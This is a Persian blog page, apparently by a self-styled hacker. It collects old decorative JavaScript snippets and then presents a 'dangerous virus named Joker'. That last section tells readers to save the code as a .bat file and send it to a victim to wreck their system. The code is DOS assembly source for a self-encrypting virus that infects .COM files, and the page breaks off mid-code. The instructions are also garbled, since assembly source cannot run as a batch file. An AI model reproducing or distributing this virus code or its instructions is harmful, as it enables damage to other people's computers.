    <style type="text/css"> body { background-color:#FFFFFF; font-family: Arial; font-size:10pt; } </style> <script> // text=new Array('www.',msaeed','.250free','.com','The Best Website') // var numText=5 // color=new Array('#000000','#2F2F2F','#4F4F4F','#7F7F7F','#408080') // var numColors=5 // var endSize=70 // var Zspeed=30 // var Cspeed=200 // var font='Arial Black' // var hide=false var size=10 var gonum=0 var ie, n; if (document.all) { n=0 ie=1 zoomText='document.all.zoom.innerText=text[num]' zoomSize='document.all.zoom.style.fontSize=size' closeIt="" fadeColor="document.all.zoom.style.color=color[num]" } if (document.layers) { n=1;ie=0 zoomText="" zoomSize="document.zoom.document.write('<p align=\"center\" style=\"font-family:'+font+'; font-size:'+size+'px; color:'+color[0]+'\">'+text[num]+'</p>')" closeIt="document.zoom.document.close()" fadeColor="document.zoom.document.write('<p align=\"center\" style=\"font-family:'+font+'; font-size:'+endSize+'px; color:'+color[num]+'\">'+text[numText-1]+'</p>')" } function zoom(num,fn){ if (size<endSize){ eval(zoomText) eval(zoomSize) eval(closeIt) size+=5; setTimeout("zoom("+num+",'"+fn+"')",Zspeed) }else{ eval(fn); } } function fadeIt(num){ if (num<numColors){ eval(fadeColor) eval(closeIt) num+=1; setTimeout("fadeIt("+num+")",Cspeed) }else{ hideIt() } } function hideIt(){ if(hide){ if(ie)document.all.zoom.style.visibility="hidden" if(n)document.layers.zoom.visibility="hidden" } } function init(){ if(ie){ document.all.zoom.style.color=color[0] document.all.zoom.style.fontFamily=font } if(ie || n) go(0) } function go(num){ gonum+=1 size=10 if(num<numText){ zoom(num,'go('+gonum+')') }else{ fadeIt(0) } } </script> </head> <body onload="init()" bgcolor="FFFFFF"> <CENTER> </CENTER><P> <div id="zoom" align="center" style="position:absolute; top:150"> </DIV> 

کد اضافه کردن صفحه به بوکمارک

[FrontPage Save Results Component]
   <script language="JavaScript1.2">  </script>  <a href="javascript:ccaddbookmark()" target="_self"> <font size="1" face="Arial">[ Add Webloger to your Favorites ]</font> </a> 

کد اتوماتیک صفحه را ماکزیمم می کند

[FrontPage Save Results Component]
   <script language="JavaScript1.2">  </script> 

کد نمایش متن دلخاه به دور موس

[FrontPage Save Results Component]
   <style> .trailerstyle { position: absolute; visibility: visible; top: -50px; font-size: 12px; font-family: Arial,Helvetica,Verdana; font-weight: bold; color: #000000; } </style> <script>  </script>  <script>  </script>  example: <body onLoad="mousetrailer()" style="width:100%;overflow-x:hidden;overflow-y:scroll"> 

کد ایجاد لینک زیر شاخه ای

[FrontPage Save Results Component]
 <script language="JavaScript">  </SCRIPT> <CENTER> <FORM NAME="myform"> <SELECT NAME="dest" SIZE=1> <OPTION VALUE="http://www.msaeed.250free.com">CoffeeCup Software <OPTION VALUE="http://www.msaeed.250free.com">Too Much Coffee Man <OPTION VALUE="http://www.msaeed.250free.com">Netscape <OPTION VALUE="http://www.msaeed.250free.com">InfoSeek </SELECT> <P> <INPUT TYPE="BUTTON" VALUE="Go !" onClick="surfto(this.form)"> </FORM> </CENTER>

کد نمایش متن به صورت حلقه به دور موس

[FrontPage Save Results Component]
<head>   <SCRIPT LANGUAGE="JavaScript1.2"> var awEMnbSPm;var AWEmnbSPm;var aWEMnbSPm;var AWEMnbSPm;var awemnbsPM;var AwemnbsPM;var aWemnbsPM;var awEmnbsPM;var aweMnbsPM;var AWemnbsPM;var aWEmnbsPM;var awEMnbsPM;AWEmnbsPM("welcome to this site","arial,helvetica,times new roman",2,"#000000",5,1,2,35,5,2,300,300,"DFJO1AC439CXM4FIF5FD94G");var aWEMnbsPM=document.layers;var AWEMnbsPM=document.getElementById&&!document.all;var AwemNBSpm=document.getElementById&&document.all;var awEMnbSPm=awEMnbSPm.split('');var aWemNBSpm=awEMnbSPm.length; var awEmNBSpm=aWEMnbSPm*15;var AWemnBSPm="This script was made by USINGIT.COM (C)2002 All rights reserved. Visit www.usingit.com for more free scripts!";var aWEmnBSPm=0;var awEMnBSPm="<font face="+AWEmnbSPm+" size="+aWEMnbSPm+" color="+AWEMnbSPm+">";if (AwemNBSpm) window.pageYOffset=0;if (AwemNBSpm||AWEMnbsPM||aWEMnbsPM){for (AwemNBSPm=0; AwemNBSPm < aWemNBSpm; AwemNBSPm++)if(AwemNBSpm||AWEMnbsPM){document.write('<div id="AwemnBSPM'+AwemNBSPm+'" style="position:absolute;left:0px;top:0px;width:'+awEmNBSpm+'px;height:'+awEmNBSpm+'px;text-align:center;font-weight:regular;cursor:default">'+awEMnBSPm+awEMnbSPm[AwemNBSPm]+'</font></div>');}else if (aWEMnbsPM){document.write('<layer name="AwemnBSPM'+AwemNBSPm+'" left=0 top=0 width='+awEmNBSpm+' height='+awEmNBSpm+'><center>'+awEMnBSPm+awEMnbSPm[AwemNBSPm]+'</font></center></layer>');}}(aWEMnbsPM)?window.captureEvents(Event.MOUSEMOVE):0;(aWEMnbsPM)?window.onMouseMove=aWemNBSPm:document.onmousemove=aWemNBSPm;AWemNBSPm=new Array();aWEmNBSPm=new Array();awEMNBSPm=new Array();AWEmNBSPm=new Array();for (AwemNBSPm=0; AwemNBSPm < aWemNBSpm; AwemNBSPm++){AWemNBSPm[AwemNBSPm]=0;aWEmNBSPm[AwemNBSPm]=0;awEMNBSPm[AwemNBSPm]=0;AWEmNBSPm[AwemNBSPm]=0;}if (aWEMnbsPM||AwemNBSpm||AWEMnbsPM)window.onload=awemnBSPM;function aWemNBSPm(aWEMNBSPm){aWEmnbsPM=(aWEMnbsPM)?aWEMNBSPm.pageX+20:(AWEMnbsPM)?aWEMNBSPm.pageX-20:event.x-20;awEMnbsPM=(aWEMnbsPM)?aWEMNBSPm.pageY+20-window.pageYOffset:(AWEMnbsPM)?aWEMNBSPm.pageY-window.pageYOffset:event.y;};function AWEMNBSPm(){aWEmnBSPm-=(AwemNBSpm)?AwemnbsPM:(AWEMnbsPM)?awEmnbsPM:(aWEMnbsPM)?aWemnbsPM:0;for (AwemNBSPm=0; AwemNBSPm<aWemNBSpm; AwemNBSPm++){var letter=(AWEMnbsPM||AwemNBSpm)?document.getElementById('AwemnBSPM'+AwemNBSPm).style:document.layers['AwemnBSPM'+AwemNBSPm];letter.left=AWemNBSPm[AwemNBSPm]+awEmNBSpm*Math.cos((aWEmnBSPm+AwemNBSPm*1)/3.8)*aweMnbsPM;letter.top=aWEmNBSPm[AwemNBSPm]+awEmNBSpm*Math.sin((aWEmnBSPm+AwemNBSPm*1)/3.8)*AWemnbsPM+window.pageYOffset-15;}};function awemnBSPM(){AWemNBSPm[0]=Math.round(awEMNBSPm[0]+=(aWEmnbsPM-awEMNBSPm[0])*awemnbsPM);aWEmNBSPm[0]=Math.round(AWEmNBSPm[0]+=(awEMnbsPM-AWEmNBSPm[0])*awemnbsPM);for (var AwemNBSPm=1; AwemNBSPm < aWemNBSpm; AwemNBSPm++){AWemNBSPm[AwemNBSPm]=Math.round(awEMNBSPm[AwemNBSPm]+=(AWemNBSPm[AwemNBSPm-1]-awEMNBSPm[AwemNBSPm])*awemnbsPM);aWEmNBSPm[AwemNBSPm]=Math.round(AWEmNBSPm[AwemNBSPm]+=(aWEmNBSPm[AwemNBSPm-1]-AWEmNBSPm[AwemNBSPm])*awemnbsPM);}if(AWemnBSPm.charAt(60)!=String.fromCharCode(118))return;if(window.status!=AWemnBSPm)window.status=AWemnBSPm;AWEMNBSPm();setTimeout('awemnBSPM()',10);};function AWEmnbsPM(p1,p2,p3,p4,p5,p6,p7,p8,p9,p10,p11,p12){awEMnbSPm=p1;AWEmnbSPm=p2;aWEMnbSPm=p3;AWEMnbSPm=p4;awemnbsPM=p5;awemnbsPM=awemnbsPM/10;AwemnbsPM=p6;aWemnbsPM=p7;awEmnbsPM=p8;AwemnbsPM=AwemnbsPM/10;aWemnbsPM=aWemnbsPM/10;awEmnbsPM=awEmnbsPM/10;aweMnbsPM=p9;AWemnbsPM=p10;aWEmnbsPM=p11;awEMnbsPM=p12;}; </SCRIPT>   </head> <head>   <SCRIPT LANGUAGE="JavaScript1.2"> var awEMnbSPm;var AWEmnbSPm;var aWEMnbSPm;var AWEMnbSPm;var awemnbsPM;var AwemnbsPM;var aWemnbsPM;var awEmnbsPM;var aweMnbsPM;var AWemnbsPM;var aWEmnbsPM;var awEMnbsPM;AWEmnbsPM("msaeed.250free ","arial,helvetica,times new roman",2,"#000000",5,1,2,35,5,2,300,300,"DFJO1AC439CXM4FIF5FD94G");var aWEMnbsPM=document.layers;var AWEMnbsPM=document.getElementById&&!document.all;var AwemNBSpm=document.getElementById&&document.all;var awEMnbSPm=awEMnbSPm.split('');var aWemNBSpm=awEMnbSPm.length; var awEmNBSpm=aWEMnbSPm*15;var AWemnBSPm="This script was made by USINGIT.COM (C)2002 All rights reserved. Visit www.usingit.com for more free scripts!";var aWEmnBSPm=0;var awEMnBSPm="<font face="+AWEmnbSPm+" size="+aWEMnbSPm+" color="+AWEMnbSPm+">";if (AwemNBSpm) window.pageYOffset=0;if (AwemNBSpm||AWEMnbsPM||aWEMnbsPM){for (AwemNBSPm=0; AwemNBSPm < aWemNBSpm; AwemNBSPm++)if(AwemNBSpm||AWEMnbsPM){document.write('<div id="AwemnBSPM'+AwemNBSPm+'" style="position:absolute;left:0px;top:0px;width:'+awEmNBSpm+'px;height:'+awEmNBSpm+'px;text-align:center;font-weight:regular;cursor:default">'+awEMnBSPm+awEMnbSPm[AwemNBSPm]+'</font></div>');}else if (aWEMnbsPM){document.write('<layer name="AwemnBSPM'+AwemNBSPm+'" left=0 top=0 width='+awEmNBSpm+' height='+awEmNBSpm+'><center>'+awEMnBSPm+awEMnbSPm[AwemNBSPm]+'</font></center></layer>');}}(aWEMnbsPM)?window.captureEvents(Event.MOUSEMOVE):0;(aWEMnbsPM)?window.onMouseMove=aWemNBSPm:document.onmousemove=aWemNBSPm;AWemNBSPm=new Array();aWEmNBSPm=new Array();awEMNBSPm=new Array();AWEmNBSPm=new Array();for (AwemNBSPm=0; AwemNBSPm < aWemNBSpm; AwemNBSPm++){AWemNBSPm[AwemNBSPm]=0;aWEmNBSPm[AwemNBSPm]=0;awEMNBSPm[AwemNBSPm]=0;AWEmNBSPm[AwemNBSPm]=0;}if (aWEMnbsPM||AwemNBSpm||AWEMnbsPM)window.onload=awemnBSPM;function aWemNBSPm(aWEMNBSPm){aWEmnbsPM=(aWEMnbsPM)?aWEMNBSPm.pageX+20:(AWEMnbsPM)?aWEMNBSPm.pageX-20:event.x-20;awEMnbsPM=(aWEMnbsPM)?aWEMNBSPm.pageY+20-window.pageYOffset:(AWEMnbsPM)?aWEMNBSPm.pageY-window.pageYOffset:event.y;};function AWEMNBSPm(){aWEmnBSPm-=(AwemNBSpm)?AwemnbsPM:(AWEMnbsPM)?awEmnbsPM:(aWEMnbsPM)?aWemnbsPM:0;for (AwemNBSPm=0; AwemNBSPm<aWemNBSpm; AwemNBSPm++){var letter=(AWEMnbsPM||AwemNBSpm)?document.getElementById('AwemnBSPM'+AwemNBSPm).style:document.layers['AwemnBSPM'+AwemNBSPm];letter.left=AWemNBSPm[AwemNBSPm]+awEmNBSpm*Math.cos((aWEmnBSPm+AwemNBSPm*1)/3.8)*aweMnbsPM;letter.top=aWEmNBSPm[AwemNBSPm]+awEmNBSpm*Math.sin((aWEmnBSPm+AwemNBSPm*1)/3.8)*AWemnbsPM+window.pageYOffset-15;}};function awemnBSPM(){AWemNBSPm[0]=Math.round(awEMNBSPm[0]+=(aWEmnbsPM-awEMNBSPm[0])*awemnbsPM);aWEmNBSPm[0]=Math.round(AWEmNBSPm[0]+=(awEMnbsPM-AWEmNBSPm[0])*awemnbsPM);for (var AwemNBSPm=1; AwemNBSPm < aWemNBSpm; AwemNBSPm++){AWemNBSPm[AwemNBSPm]=Math.round(awEMNBSPm[AwemNBSPm]+=(AWemNBSPm[AwemNBSPm-1]-awEMNBSPm[AwemNBSPm])*awemnbsPM);aWEmNBSPm[AwemNBSPm]=Math.round(AWEmNBSPm[AwemNBSPm]+=(aWEmNBSPm[AwemNBSPm-1]-AWEmNBSPm[AwemNBSPm])*awemnbsPM);}if(AWemnBSPm.charAt(60)!=String.fromCharCode(118))return;if(window.status!=AWemnBSPm)window.status=AWemnBSPm;AWEMNBSPm();setTimeout('awemnBSPM()',10);};function AWEmnbsPM(p1,p2,p3,p4,p5,p6,p7,p8,p9,p10,p11,p12){awEMnbSPm=p1;AWEmnbSPm=p2;aWEMnbSPm=p3;AWEMnbSPm=p4;awemnbsPM=p5;awemnbsPM=awemnbsPM/10;AwemnbsPM=p6;aWemnbsPM=p7;awEmnbsPM=p8;AwemnbsPM=AwemnbsPM/10;aWemnbsPM=aWemnbsPM/10;awEmnbsPM=awEmnbsPM/10;aweMnbsPM=p9;AWemnbsPM=p10;aWEmnbsPM=p11;awEMnbsPM=p12;}; </SCRIPT>   </head>

کد آمدن پیغام مورد نظر شما هنگام ورود افراد به سایت شما

<html> <head> <script language="javascript" type="text/javascript"> alert("Welcome to my site msaeed.250free") </script> </head> <body> <h1>   <script language="javascript" type="text/javascript"> document.write("KKR") //end hiding script from old browsers --> </script> </h1> </body> </html>

کد ستاره باران در سایت

[FrontPage Save Results Component]
 <body bgcolor='#000000' >  <script language="JavaScript">  </script> 

کد برف باران در سایت

[FrontPage Save Results Component]
  <script> // Set the number of snowflakes (more than 30 - 40 not recommended) var snowmax=35 // Set the colors for the snow. Add as many colors as you like var snowcolor=new Array("#aaaacc","#ddddFF","#ccccDD") // Set the fonts, that create the snowflakes. Add as many fonts as you like var snowtype=new Array("Arial Black","Arial Narrow","Times","Comic Sans MS") // Set the letter that creates your snowflake (recommended:*) var snowletter="*" // Set the speed of sinking (recommended values range from 0.3 to 2) var sinkspeed=0.6 // Set the maximal-size of your snowflaxes var snowmaxsize=22 // Set the minimal-size of your snowflaxes var snowminsize=8 // Set the snowing-zone // Set 1 for all-over-snowing, set 2 for left-side-snowing // Set 3 for center-snowing, set 4 for right-side-snowing var snowingzone=3 /////////////////////////////////////////////////////////////////////////// // CONFIGURATION ENDS HERE /////////////////////////////////////////////////////////////////////////// // Do not edit below this line var snow=new Array() var marginbottom var marginright var timer var i_snow=0 var x_mv=new Array(); var crds=new Array(); var lftrght=new Array(); var browserinfos=navigator.userAgent var ie5=document.all&&document.getElementById&&!browserinfos.match(/Opera/) var ns6=document.getElementById&&!document.all var opera=browserinfos.match(/Opera/) var browserok=ie5||ns6||opera function randommaker(range) { rand=Math.floor(range*Math.random()) return rand } function initsnow() { if (ie5 || opera) { marginbottom = document.body.clientHeight marginright = document.body.clientWidth } else if (ns6) { marginbottom = window.innerHeight marginright = window.innerWidth } var snowsizerange=snowmaxsize-snowminsize for (i=0;i<=snowmax;i++) { crds[i] = 0; lftrght[i] = Math.random()*15; x_mv[i] = 0.03 + Math.random()/10; snow[i]=document.getElementById("s"+i) snow[i].style.fontFamily=snowtype[randommaker(snowtype.length)] snow[i].size=randommaker(snowsizerange)+snowminsize snow[i].style.fontSize=snow[i].size snow[i].style.color=snowcolor[randommaker(snowcolor.length)] snow[i].sink=sinkspeed*snow[i].size/5 if (snowingzone==1) {snow[i].posx=randommaker(marginright-snow[i].size)} if (snowingzone==2) {snow[i].posx=randommaker(marginright/2-snow[i].size)} if (snowingzone==3) {snow[i].posx=randommaker(marginright/2-snow[i].size)+marginright/4} if (snowingzone==4) {snow[i].posx=randommaker(marginright/2-snow[i].size)+marginright/2} snow[i].posy=randommaker(2*marginbottom-marginbottom-2*snow[i].size) snow[i].style.left=snow[i].posx snow[i].style.top=snow[i].posy } movesnow() } function movesnow() { for (i=0;i<=snowmax;i++) { crds[i] += x_mv[i]; snow[i].posy+=snow[i].sink snow[i].style.left=snow[i].posx+lftrght[i]*Math.sin(crds[i]); snow[i].style.top=snow[i].posy if (snow[i].posy>=marginbottom-2*snow[i].size || parseInt(snow[i].style.left)>(marginright-3*lftrght[i])){ if (snowingzone==1) {snow[i].posx=randommaker(marginright-snow[i].size)} if (snowingzone==2) {snow[i].posx=randommaker(marginright/2-snow[i].size)} if (snowingzone==3) {snow[i].posx=randommaker(marginright/2-snow[i].size)+marginright/4} if (snowingzone==4) {snow[i].posx=randommaker(marginright/2-snow[i].size)+marginright/2} snow[i].posy=0 } } var timer=setTimeout("movesnow()",50) } for (i=0;i<=snowmax;i++) { document.write("<span id='s"+i+"' style='position:absolute;top:-"+snowmaxsize+"'>"+snowletter+"</span>") } if (browserok) { window.onload=initsnow } </script>

کد خروج از صفحه

[FrontPage Save Results Component]
  <script language="JavaScript">  </script> <center> <form> <input type=button value="Close Window" onClick="closeIt()"> </form> </center> 

کد ساعت عقربه دار

[FrontPage Save Results Component]
</SCRIPT> <SCRIPT language=JavaScript> fCol='444444'; //face colour. sCol='FF0000'; //seconds colour. mCol='444444'; //minutes colour. hCol='444444'; //hours colour. Ybase=30; //Clock height. Xbase=30; //Clock width. H='...'; H=H.split(''); M='....'; M=M.split(''); S='.....'; S=S.split(''); NS4=(document.layers); NS6=(document.getElementById&&!document.all); IE4=(document.all); Ypos=0; Xpos=0; dots=12; Split=360/dots; if (NS6){ for (i=1; i < dots+1; i++){ document.write('<div id="n6Digits'+i+'" style="position:absolute;top:0px;left:0px;width:30px;height:30px;font-family:Arial;font-size:10px;color:#'+fCol+';text-align:center;padding-top:10px">'+i+'</div>'); } for (i=0; i < M.length; i++){ document.write('<div id="Ny'+i+'" style="position:absolute;top:0px;left:0px;width:2px;height:2px;font-size:2px;background:#'+mCol+'"></div>'); } for (i=0; i < H.length; i++){ document.write('<div id="Nz'+i+'" style="position:absolute;top:0px;left:0px;width:2px;height:2px;font-size:2px;background:#'+hCol+'"></div>'); } for (i=0; i < S.length; i++){ document.write('<div id="Nx'+i+'" style="position:absolute;top:0px;left:0px;width:2px;height:2px;font-size:2px;background:#'+sCol+'"></div>'); } } if (NS4){ dgts='1 2 3 4 5 6 7 8 9 10 11 12'; dgts=dgts.split(' ') for (i=0; i < dots; i++){ document.write('<layer name=nsDigits'+i+' top=0 left=0 height=30 width=30><center><font face=Arial size=1 color='+fCol+'>'+dgts[i]+'</font></center></layer>'); } for (i=0; i < M.length; i++){ document.write('<layer name=ny'+i+' top=0 left=0 bgcolor='+mCol+' clip="0,0,2,2"></layer>'); } for (i=0; i < H.length; i++){ document.write('<layer name=nz'+i+' top=0 left=0 bgcolor='+hCol+' clip="0,0,2,2"></layer>'); } for (i=0; i < S.length; i++){ document.write('<layer name=nx'+i+' top=0 left=0 bgcolor='+sCol+' clip="0,0,2,2"></layer>'); } } if (IE4){ document.write('<div style="position:absolute;top:0px;left:0px"><div style="position:relative">'); for (i=1; i < dots+1; i++){ document.write('<div id="ieDigits" style="position:absolute;top:0px;left:0px;width:30px;height:30px;font-family:Arial;font-size:10px;color:'+fCol+';text-align:center;padding-top:10px">'+i+'</div>'); } document.write('</div></div>') document.write('<div style="position:absolute;top:0px;left:0px"><div style="position:relative">'); for (i=0; i < M.length; i++){ document.write('<div id=y style="position:absolute;width:2px;height:2px;font-size:2px;background:'+mCol+'"></div>'); } document.write('</div></div>') document.write('<div style="position:absolute;top:0px;left:0px"><div style="position:relative">'); for (i=0; i < H.length; i++){ document.write('<div id=z style="position:absolute;width:2px;height:2px;font-size:2px;background:'+hCol+'"></div>'); } document.write('</div></div>') document.write('<div style="position:absolute;top:0px;left:0px"><div style="position:relative">'); for (i=0; i < S.length; i++){ document.write('<div id=x style="position:absolute;width:2px;height:2px;font-size:2px;background:'+sCol+'"></div>'); } document.write('</div></div>') } function clock(){ time = new Date (); secs = time.getSeconds(); sec = -1.57 + Math.PI * secs/30; mins = time.getMinutes(); min = -1.57 + Math.PI * mins/30; hr = time.getHours(); hrs = -1.57 + Math.PI * hr/6 + Math.PI*parseInt(time.getMinutes())/360; if (NS6){ Ypos=window.pageYOffset+window.innerHeight-Ybase-25; Xpos=window.pageXOffset+window.innerWidth-Xbase-30; for (i=1; i < dots+1; i++){ document.getElementById("n6Digits"+i).style.top=Ypos-15+Ybase*Math.sin(-1.56 +i *Split*Math.PI/180) document.getElementById("n6Digits"+i).style.left=Xpos-15+Xbase*Math.cos(-1.56 +i*Split*Math.PI/180) } for (i=0; i < S.length; i++){ document.getElementById("Nx"+i).style.top=Ypos+i*Ybase/4.1*Math.sin(sec); document.getElementById("Nx"+i).style.left=Xpos+i*Xbase/4.1*Math.cos(sec); } for (i=0; i < M.length; i++){ document.getElementById("Ny"+i).style.top=Ypos+i*Ybase/4.1*Math.sin(min); document.getElementById("Ny"+i).style.left=Xpos+i*Xbase/4.1*Math.cos(min); } for (i=0; i < H.length; i++){ document.getElementById("Nz"+i).style.top=Ypos+i*Ybase/4.1*Math.sin(hrs); document.getElementById("Nz"+i).style.left=Xpos+i*Xbase/4.1*Math.cos(hrs); } } if (NS4){ Ypos=window.pageYOffset+window.innerHeight-Ybase-20; Xpos=window.pageXOffset+window.innerWidth-Xbase-30; for (i=0; i < dots; ++i){ document.layers["nsDigits"+i].top=Ypos-5+Ybase*Math.sin(-1.045 +i*Split*Math.PI/180) document.layers["nsDigits"+i].left=Xpos-15+Xbase*Math.cos(-1.045 +i*Split*Math.PI/180) } for (i=0; i < S.length; i++){ document.layers["nx"+i].top=Ypos+i*Ybase/4.1*Math.sin(sec); document.layers["nx"+i].left=Xpos+i*Xbase/4.1*Math.cos(sec); } for (i=0; i < M.length; i++){ document.layers["ny"+i].top=Ypos+i*Ybase/4.1*Math.sin(min); document.layers["ny"+i].left=Xpos+i*Xbase/4.1*Math.cos(min); } for (i=0; i < H.length; i++){ document.layers["nz"+i].top=Ypos+i*Ybase/4.1*Math.sin(hrs); document.layers["nz"+i].left=Xpos+i*Xbase/4.1*Math.cos(hrs); } } if (IE4){ Ypos=document.body.scrollTop+window.document.body.clientHeight-Ybase-20; Xpos=document.body.scrollLeft+window.document.body.clientWidth-Xbase-20; for (i=0; i < dots; ++i){ ieDigits[i].style.pixelTop=Ypos-15+Ybase*Math.sin(-1.045 +i *Split*Math.PI/180) ieDigits[i].style.pixelLeft=Xpos-15+Xbase*Math.cos(-1.045 +i *Split*Math.PI/180) } for (i=0; i < S.length; i++){ x[i].style.pixelTop =Ypos+i*Ybase/4.1*Math.sin(sec); x[i].style.pixelLeft=Xpos+i*Xbase/4.1*Math.cos(sec); } for (i=0; i < M.length; i++){ y[i].style.pixelTop =Ypos+i*Ybase/4.1*Math.sin(min); y[i].style.pixelLeft=Xpos+i*Xbase/4.1*Math.cos(min); } for (i=0; i < H.length; i++){ z[i].style.pixelTop =Ypos+i*Ybase/4.1*Math.sin(hrs); z[i].style.pixelLeft=Xpos+i*Xbase/4.1*Math.cos(hrs); } } setTimeout('clock()',100); } clock(); //--> </SCRIPT> <SCRIPT language=JavaScript> fCol='444444'; //face colour. sCol='FF0000'; //seconds colour. mCol='444444'; //minutes colour. hCol='444444'; //hours colour. Ybase=30; //Clock height. Xbase=30; //Clock width. </body> </html> <p align="center"><a href="http://www.msaeed.250free.com"> <font face="Tahoma" size="2">webloger site</font></a></p>

کد برای پرینت از صفحه

 <SCRIPT LANGUAGE="JavaScript"> if (window.print) { document.write('<form> ' + '<input type=button name=print value="Click" ' + 'onClick="javascript:window.print()"> To Print this page!</form>'); } // End --> </script>

| نوشته شده توسط آرشام هکر در دسته : پکیج کامل کد های جاوا |


نام قالب: ايکس پي
کد پرشين بلاگ


نام قالب: پاييز سرخ
کد پرشين بلاگ


نام قالب: هفت کوتوله
کد پرشين بلاگ


نام قالب: پيتر پن
کد پرشين بلاگ


نام قالب: بنفش
کد پرشين بلاگ


نام قالب: قرمز
کد پرشين بلاگ


نام قالب: گيتاريست
کد پرشين بلاگ


نام قالب: نوروز
کد پرشين بلاگ


نام قالب: چوبی
کد پرشين بلاگ


نام قالب: سمندر 2
کد پرشين بلاگ


نام قالب: الکترونیک
کد پرشين بلاگ


نام قالب: فرشته
کد پرشين بلاگ

| نوشته شده توسط آرشام هکر در دسته : |

كد هاي چت

Only For You CC

| نوشته شده توسط آرشام هکر در دسته : |

یک ویروس خطرناک با نام Joker

برای ساخت این ویروس اول note pad را باز کرده و این کد ها را در آن کپی و پیست نمایید و بعد گزینه file را زده save as را زده بعد آنرا با پسوند bat ذخیره کنید مثلا Joker.bat و save را برای اتمام کار زده و حالا ویروس شما ساخته شد که مواظب باشید روی آن به هیچ وجه کلیک نکنید آنرا برای یکی بفرستید تا سیستم قربانی را به طور خفن داغون کنه. موفق باشید نظر یادتون نره!

title " Joker! virus. Written by The BOOT SECTOR Infector ... " ; ; Joker - This is a remake of the deceased "Joker/Jocker" virus. The original ; had multiple programming errors in it that kept it from replicating. ; My version is much more successful. ; page 255,80 code segment word public 'code' assume cs:code,ds:code org 100h main proc;edure ;EQUates... idc equ 69h ;ID character - (note: 69) cr equ 13 ;ASCII for carriage return lf equ 10 ;ASCII for line feed ;End codes. These determine what happens after the string is displayed. terminate equ 0 ;Terminate program after display halt equ 1 ;Cause the system to hang after display SimulateCritErr equ 2 ;Simulate the critical error handler return2host equ 3 ;Resume program immediately FlashFloppy equ 4 ;Wait for a key, then reset Drive A: WaitKey equ 5 ;Wait for a key, then resume program PauseKey equ 6 ;Same thing, but uses a pause message StackError equ 7 ;Cause a stack overflow (halts system) tof: ;Top-Of-File jmp begin ;Skip over program idchar: db idc ;ID character HostProgram: nop ;First run copy only! nop ;First run copy only! first_four: nop ;First run copy only! address: int 20h ;First run copy only! check: nop ;First run copy only! begin: call nextline ;Push IP+3 onto stack nextline: pop bp ;mov bp,ip sub bp,offset nextline ;bp=disp. for mem locs push ax ;Save AX call cryptor ;Decrypt jmp short retloc ;Continue program cryptor: mov al,[bp+offset encrypt_val] ;encrypt val lea si,[bp+offset toec] ;Top Of Encrypted Code mov cx,offset eoec-offset toec ;Length of " " cryptorloop: xor [si],al ;en/de crypt rol al,cl ;change code # inc si ;Next char please! loop cryptorloop ;loop if necessary ret ;Return to caller infect: call cryptor ;Encrypt code pop cx ;Restore CX for INT 21 int 21h ;Call DOS call cryptor ;Decrypt code ret ;Go back toec:;ؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤTop Of Encrypted Code InfectIt: push cx ;Save CX for sub jmp infect retloc: pop ax ;Restore AX xor di,di ;DI = 0 cli ;Disable interrupts mov ss,di ;Set up stack at: mov sp,2F0h ; 0000:02F0 sti ;Enable interrupts mov si,96h ;Vector for INT 24h mov bx,ss:[si] ;BX = offset in segment mov cx,ss:[si+2] ;CX = segment lea dx,[bp+offset int24handler] ;CS:DX -} local handler mov ss:[si],DX ;Save offset mov ss:[si+2],cs ;Save segment mov si,es:[di+2F8h] ;Check operation mode cmp si,4643h ;'CF' if already TSRed jne GoOn ;Nope, jmp jmp return ;Yes, don't do anything GoOn: mov cs:[di+4Ch],bx ;use unused part of PSP mov cs:[di+4Eh],cx ; to save BX and CX push cs ;Copy CS ... pop es ; ... to DS mov byte ptr [bp+offset infected],0 ;Reset infection count mov byte ptr [bp+offset max2kill],3 ;Stop after 3 or less GoOn2: lea si,[bp+offset first_four] ;Original first 4 bytes mov di,offset tof ;TOF never changes cld ;Read left-to-right movsw ;Copy the 4 bytes movsw ;Copy the 4 bytes mov ah,1Ah ;Set DTA address ... lea dx,[bp+offset DTA] ; ... to *our* DTA int 21h ;Call DOS to set DTA mov ah,4Eh ;Find First ASCIIZ lea dx,[bp+offset filespec] ;DS:DX -} '*.COM',0 lea si,[bp+offset filename] ;Point to file push dx ;Save DX jmp short continue ;Continue... return: mov ah,1ah ;Set DTA address ... mov dx,80h ; ... to default DTA int 21h ;Call DOS to set DTA xor di,di ;DI= 0 mov es,di ;ES= 0 mov si,96h ;Vector for INT 24h mov bx, cs:[di+4Ch] ;Restore from saved BX mov word ptr es:[si+0], bx ;Place back into vector mov cx, cs:[di+4Eh] ;Restore from saved CX mov word ptr es:[si+2], cx ;Place back into vector push cs ;Move CS ... pop es ; ... to ES mov ax,[bp+offset SavedAX] ;Restore AX xor bx,bx ;BX= 0 mov cx,bx ;CX= 0 mov dx,cx ;DX= 0 mov si,dx ;SI= 0 mov di,si ;DI= 0 mov sp,0FFFEh ;SP= FFFEh (normal) mov bp,100h ;BP= 100h (RETurn addr) push bp ; Put on stack mov bp,ax ;BP= 0 ret ;JMP to 100h nextfile: or bx,bx ;Did we open the file? jz skipclose ;No, so don't close it mov ah,3Eh ;Close file int 21h ;Call DOS to close it xor bx,bx ;Set BX back to 0 skipclose: mov ah,4Fh ;Find Next ASCIIZ continue: pop dx ;Restore DX push dx ;Re-save DX xor cx,cx ;CX= 0 xor bx,bx int 21h ;Find First/Next jnc skipjmp jmp NoneLeft ;Out of files skipjmp: mov ax,3D02h ;open file mov dx,si ;point to filespec int 21h ;Call DOS to open file jc nextfile ;Next file if error mov bx,ax ;get the handle mov ah,3Fh ;Read from file mov cx,4 ;Read 4 bytes lea dx,[bp+offset first_four] ;Read in the first 4 int 21h ;Call DOS to read cmp byte ptr [bp+offset check],idc ;Already infected? je nextfile ;Yep, try again ... ;NOTE: Delete the two lines above if you want it to re-infected programs. cmp byte ptr [bp+offset first_four],77 ;Mis-named .EXE? je nextfile ;Yep, maybe next time! mov ax,4202h ;LSeek to EOF xor cx,cx ;CX= 0 xor dx,dx ;DX= 0 int 21h ;Call DOS to LSeek cmp ah,0F8h ;Longer than 62K? ja nextfile ;Yep, try again... mov [bp+offset addr],ax ;Save call location mov ah,40h ;Write to file mov cx,4 ;Write 4 bytes lea dx,[bp+offset first_four] ;Point to buffer int 21h ;Save the first 4 bytes mov ah,[bp+offset encrypt_val] ;Get code number inc ah ;add 1 adc ah,0 ;increment if it's zero mov [bp+offset encrypt_val],ah ;Save new code number mov ah,40h ;Write to file mov 